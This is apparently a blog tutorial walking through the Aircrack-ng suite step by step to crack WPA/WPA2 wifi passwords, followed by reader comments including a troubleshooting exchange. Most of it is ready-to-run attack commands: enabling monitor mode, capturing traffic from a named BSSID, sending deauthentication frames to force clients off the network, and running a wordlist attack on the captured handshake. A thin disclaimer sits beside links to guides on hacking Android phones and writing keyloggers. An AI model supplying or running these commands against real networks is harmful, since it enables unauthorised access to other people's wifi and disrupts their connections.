In this Aircrack-ng tutorial, you will learn how to use Aircrack-ng to crack WPA/WPA2 wifi networks. With Aircrack-ng you can perform Monitoring, Attacking, Testing, and Cracking on wifi networks.
Before you start to crack WPA/WPA2 networks using this Aircrack-ng tutorial, let’s see a brief intro about it. Aircrack-ng is a complete suite of tools to assess WiFi network security. It focuses on different areas of WiFi security like Monitoring, Attacking, Testing, and Cracking. All tools are command line which allows for heavy scripting. A lot of GUIs have taken advantage of this feature. It works primarily with Linux but also supports Windows and other operating systems.
As Aircrack-ng has been created primarily for Linux you can install and use it with any version of Linux. If you are using kali Linux then you don’t need to install it as it comes as a pre-installed with it. Also, you can install and use it with Windows.
Also Read: How to install Kali Linux on Virtual box
Also Read: How to dual boot windows 10 and Kali Linux
Disclaimer: This tutorial has been made for educational purposes only, Geekviews don’t promote malicious practices and will not be responsible for any illegal activities. Use it at your own risk.
Remember aircrack-ng can ONLY crack pre-shared keys. Use airodump-ng to make sure the network has the authentication type of PSK. Otherwise, don’t waste your time
Aircrack-ng Tutorial to Crack WPA/WPA2 Wifi networks
For this Aircrack-ng tutorial, I am using Kali Linux as it is one of the best operating System for hacking and pentesting. Let’s get started:
Step 1: iwconfig
Type iwconfig on the terminal and press Enter to know the Wifi Adapter Name. In my case, the wifi card is wlan0 your one can be different.
Step 2: airmon-ng check kill
To make sure not to get error messages while enabling monitor Mode, use airmon-ng check kill command.
Step 3: airmon-ng start wlan0
Use airmon-ng start wlan0 to enable monitor Mode
From now on you have to use wlan0mon as moniter mode has been enabled.
Step 4: airodump-ng wlan0mon
Use airodump-ng wlan0mon to see all the access points and the clients connected to the access points in your surroundings .
Minimize this terminal. Don’t close it as This will be used to know WPA has been captured or not.
Step 5: airodump-ng -c channel –bssid [bssid of wifi] -w [path to write the data of packets] wlan0mon[interface].
In this step, you have to write the captured data to a specified path as in my case it is the Desktop. The above command in my case will be airodump-ng -c 11 –bssid 00:07:26:47:B0:35 -w /root/Desktop/hack wlan0mon.
After the execution of the command you will see the following files on your desktop:
And your terminal will look like this:
Step 6: aireplay-ng –deauth 11 -a [router bssid] interface
You need to de-authenticate the connected clients to the target WiFi network. Use aireplay-ng –deauth 11 -a [router bssid] interface
In my case the command will be aireplay-ng –deauth 11 -a 00:07:26:47:B0:35 wlan0mon
Now you will get WPA handshake as the client tries to connect to the WiFi again.
Step 7: aircrack-ng -b [bssid of router] [path to capture packets] -w [path to word list]
Last step in this Aircrack-ng tutorial: Start Cracking the target Wi-fi you need bssid, path to captured packets and path to wordlist. You will find plenty of wordlists to crack wifi networks online or generate your own Wordlist.
In my case the above command will be aircrack-ng -b 00:07:26:47:B0:35 /root/Desktop/hack’-01.cap -w /root/Desktop/wordlist
Finally, after following every single step accordingly in this Aircrack-ng Tutorial you will get the wifi Password.
If this Aircrack-ng tutorial helps you in cracking wifi networks then share it with your friends. Else if there are any problems then do let us know by commenting below to make this Aircrack-ng tutorial better.
Also Read: How to hack Android Phone
Also Read: How to make a C++ Keylogger
Hello Sir,
I’m having trouble in Step 5, whenever i write this code ” airodump-ng -c 1 –bssid 0C:D2:B5:32:81:C6 -w /root/Desktop/hack prism0″ it says “fopen failed: No such file or directory
Could not create “/root/Desktop/hack-01.csv”.
can you help in this part..
Thankyou
As u are already in root directory just delete “/root/” from the command. It should look like this:
airodump-ng -c 1 –bssid [bssid of wifi] -w Desktop/hack [interface]
Can it work on windows and if yes how do I go about it
Yes, we have an article about that. You will receive it soon by email.
this has to be hands down the most easy to read and comprehend version (tutorial) i have read thus far-Great job guy-i loves it mad props